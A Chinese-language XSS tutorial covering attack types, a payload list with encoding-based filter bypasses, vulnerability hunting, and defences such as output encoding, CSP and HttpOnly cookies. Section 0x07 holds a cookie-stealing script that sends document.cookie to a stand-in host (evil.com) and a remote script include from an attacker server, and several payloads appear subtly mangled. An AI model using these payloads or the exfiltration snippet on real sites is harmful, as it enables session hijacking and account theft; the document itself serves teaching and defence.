Web安全之一文看懂XSS
字数 1977 2025-08-11 21:26:09

XSS跨站脚本攻击全面解析与防御指南

0x01 XSS原理与分类

XSS(Cross Site Scripting):跨站脚本攻击,为避免与CSS混淆而缩写为XSS。攻击者向Web页面插入恶意Script代码,当用户浏览该页面时,嵌入的Script代码会被执行,达到攻击用户的目的。

XSS分类

  1. 存储型XSS

    • 持久化攻击,代码存储在服务器中
    • 常见场景:个人信息、文章发表等用户输入区域
    • 危险程度高,易造成蠕虫传播、Cookie盗取
  2. 反射型XSS

    • 非持久化攻击,需要诱骗用户点击恶意链接
    • 常见于搜索页面等参数传递场景
    • 主要用于盗取用户Cookie信息
  3. DOM型XSS

    • 不经过后端处理,基于文档对象模型(DOM)的漏洞
    • 通过URL参数控制触发
    • 本质上属于反射型XSS的特殊形式

可能触发DOM型XSS的属性

document.referer
window.name
location
innerHTML
document.write

0x02 XSS攻击危害

  1. 盗取各类用户账号(登录账号、网银账号、管理员账号等)
  2. 控制企业数据(读取、篡改、添加、删除敏感数据)
  3. 盗取商业机密资料
  4. 实施非法转账
  5. 强制发送恶意邮件
  6. 网站挂马
  7. 控制受害者机器发起对其他网站的攻击

0x03 XSS测试方法

基础测试语句

  1. 检测HTML标签过滤:
<h5>1</h5>
<span>1</span>
  1. 检测脚本执行:
<script>console.log(1);</script>
  1. 闭合问题检测:
"><span>x</span><"
'><span>x</span><'
  1. 单行注释绕过:
"><span>x</span>//

0x04 XSS攻击语句大全

基础攻击语句

<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

高级绕过技术

  1. IMG标签XSS
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  1. 编码绕过
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=jav..省略..S')>
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
  1. 嵌入式标签
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
  1. 多行注入
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>eval_r(z)</script>
  1. 其他标签攻击
<BODY onload=alert('XSS')>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<DIV STYLE="width: expression_r(alert('XSS'));">

各标签攻击语句示例

<script>alert(document.cookie)</script>

<body οnlοad=alert(1)>
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
<style οnlοad=alert(1)></style>

0x05 XSS漏洞挖掘

黑盒测试

寻找所有用户可控并能输出到页面代码的位置:

  • URL参数
  • URL本身
  • 表单输入
  • 搜索框

常见业务场景

高风险区域

  • 评论区、留言区
  • 个人信息编辑
  • 订单信息展示
  • 站内信、私信
  • 意见反馈

潜在风险点

  • 搜索功能
  • 当前目录显示
  • 图片属性处理

白盒审计

  1. PHP审计要点

    • 搜索$_GET, $_POST, $_REQUEST等参数接收方法
    • 跟踪参数处理流程,检查输出前的过滤
    • 检查数据库操作前后的数据过滤
  2. DOM型审计

    • 搜索JavaScript操作DOM的关键字
    • 检查innerHTML, document.write等危险操作

0x06 XSS攻击过程分析

反射型XSS攻击流程

  1. 攻击者发现目标网站存在反射型XSS漏洞
  2. 构造恶意链接并诱导受害者点击
  3. 受害者点击链接后,恶意脚本在其浏览器执行
  4. 脚本窃取敏感信息(如Cookie)并发送给攻击者
  5. 攻击者利用获取的信息冒充受害者

存储型XSS攻击流程

  1. 攻击者发现目标网站存在存储型XSS漏洞
  2. 在允许用户输入的区域(如评论区)插入恶意脚本
  3. 恶意脚本被存储到服务器数据库
  4. 其他用户浏览包含恶意脚本的页面时触发攻击
  5. 攻击者获取受害者敏感信息或控制其会话

0x07 XSS攻击实战测试

远程加载攻击payload

  1. 创建恶意JS文件:
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
  1. 在漏洞点加载远程脚本:
<script src="http://attacker-server/xss.js"></script>
  1. 或使用图片标签加载:

三种类型XSS实例

  1. 反射型XSS

    • 前端表单提交到后端
    • 后端直接返回用户输入
    • 输入<script>alert(/xss/)</script>触发
  2. 存储型XSS

    • 用户输入存储到数据库
    • 其他用户查看时执行恶意代码
    • 数据流:前端→后端→数据库→后端→前端
  3. DOM型XSS

    • 不经过后端处理
    • 通过JavaScript直接操作DOM触发
    • 数据流:前端→浏览器

0x08 XSS编码绕过技术

常见过滤与绕过

  1. GPC过滤绕过

    • 避免使用引号:
    <script src=http://www.xss123.com/xss.js></script>
    
  2. alert过滤绕过

    <script>prompt(/xss/);</script>
    <script>confirm(1);</script>
    
  3. ASCII编码

    <script>alert(String.fromCharCode(88,83,83))</script>
    
  4. URL编码

    <a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
    
  5. JS编码

    • 八进制:eval("\141\154\145\162\164\50\61\51")
    • 十六进制:eval("\x61\x6c\x65\x72\x74\x28\x31\x29")
    • Unicode:\u0061\u006c\u0065\u0072\u0074('xss')
  6. HTML编码

    
    
  7. Base64编码

    <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
    

0x09 XSS防御措施

防御原则

  1. 输入过滤

    • 对用户输入和URL参数进行严格过滤
    • 优先使用白名单过滤,谨慎使用黑名单
  2. 输出编码

    • 对动态输出到页面的内容进行HTML编码
    • 使用专门的编码函数(如PHP的htmlspecialchars
  3. HTTP Only Cookie

    • 设置会话Cookie的HTTP Only属性
    • 防止客户端JavaScript访问敏感Cookie

具体防御实现

  1. PHP示例
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
  1. 内容安全策略(CSP)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  1. 现代框架防护

    • 使用React、Vue等现代前端框架
    • 框架内置XSS防护机制
  2. DOM型XSS防御

    • 避免使用innerHTML,改用textContent
    • 对动态创建的HTML内容进行净化

通过实施以上综合防御措施,可以显著降低XSS攻击的风险,保护Web应用和用户数据安全。

XSS跨站脚本攻击全面解析与防御指南 0x01 XSS原理与分类 XSS(Cross Site Scripting) :跨站脚本攻击,为避免与CSS混淆而缩写为XSS。攻击者向Web页面插入恶意Script代码,当用户浏览该页面时,嵌入的Script代码会被执行,达到攻击用户的目的。 XSS分类 存储型XSS : 持久化攻击,代码存储在服务器中 常见场景:个人信息、文章发表等用户输入区域 危险程度高,易造成蠕虫传播、Cookie盗取 反射型XSS : 非持久化攻击,需要诱骗用户点击恶意链接 常见于搜索页面等参数传递场景 主要用于盗取用户Cookie信息 DOM型XSS : 不经过后端处理,基于文档对象模型(DOM)的漏洞 通过URL参数控制触发 本质上属于反射型XSS的特殊形式 可能触发DOM型XSS的属性 : 0x02 XSS攻击危害 盗取各类用户账号(登录账号、网银账号、管理员账号等) 控制企业数据(读取、篡改、添加、删除敏感数据) 盗取商业机密资料 实施非法转账 强制发送恶意邮件 网站挂马 控制受害者机器发起对其他网站的攻击 0x03 XSS测试方法 基础测试语句 检测HTML标签过滤: 检测脚本执行: 闭合问题检测: 单行注释绕过: 0x04 XSS攻击语句大全 基础攻击语句 高级绕过技术 IMG标签XSS : 编码绕过 : 嵌入式标签 : 多行注入 : 其他标签攻击 : 各标签攻击语句示例 0x05 XSS漏洞挖掘 黑盒测试 寻找所有用户可控并能输出到页面代码的位置: URL参数 URL本身 表单输入 搜索框 常见业务场景 高风险区域 : 评论区、留言区 个人信息编辑 订单信息展示 站内信、私信 意见反馈 潜在风险点 : 搜索功能 当前目录显示 图片属性处理 白盒审计 PHP审计要点 : 搜索 $_GET , $_POST , $_REQUEST 等参数接收方法 跟踪参数处理流程,检查输出前的过滤 检查数据库操作前后的数据过滤 DOM型审计 : 搜索JavaScript操作DOM的关键字 检查 innerHTML , document.write 等危险操作 0x06 XSS攻击过程分析 反射型XSS攻击流程 攻击者发现目标网站存在反射型XSS漏洞 构造恶意链接并诱导受害者点击 受害者点击链接后,恶意脚本在其浏览器执行 脚本窃取敏感信息(如Cookie)并发送给攻击者 攻击者利用获取的信息冒充受害者 存储型XSS攻击流程 攻击者发现目标网站存在存储型XSS漏洞 在允许用户输入的区域(如评论区)插入恶意脚本 恶意脚本被存储到服务器数据库 其他用户浏览包含恶意脚本的页面时触发攻击 攻击者获取受害者敏感信息或控制其会话 0x07 XSS攻击实战测试 远程加载攻击payload 创建恶意JS文件: 在漏洞点加载远程脚本: 或使用图片标签加载: 三种类型XSS实例 反射型XSS : 前端表单提交到后端 后端直接返回用户输入 输入 <script>alert(/xss/)</script> 触发 存储型XSS : 用户输入存储到数据库 其他用户查看时执行恶意代码 数据流:前端→后端→数据库→后端→前端 DOM型XSS : 不经过后端处理 通过JavaScript直接操作DOM触发 数据流:前端→浏览器 0x08 XSS编码绕过技术 常见过滤与绕过 GPC过滤绕过 : 避免使用引号: alert过滤绕过 : ASCII编码 : URL编码 : JS编码 : 八进制: eval("\141\154\145\162\164\50\61\51") 十六进制: eval("\x61\x6c\x65\x72\x74\x28\x31\x29") Unicode: \u0061\u006c\u0065\u0072\u0074('xss') HTML编码 : Base64编码 : 0x09 XSS防御措施 防御原则 输入过滤 : 对用户输入和URL参数进行严格过滤 优先使用白名单过滤,谨慎使用黑名单 输出编码 : 对动态输出到页面的内容进行HTML编码 使用专门的编码函数(如PHP的 htmlspecialchars ) HTTP Only Cookie : 设置会话Cookie的HTTP Only属性 防止客户端JavaScript访问敏感Cookie 具体防御实现 PHP示例 : 内容安全策略(CSP) : 现代框架防护 : 使用React、Vue等现代前端框架 框架内置XSS防护机制 DOM型XSS防御 : 避免使用 innerHTML ,改用 textContent 对动态创建的HTML内容进行净化 通过实施以上综合防御措施,可以显著降低XSS攻击的风险,保护Web应用和用户数据安全。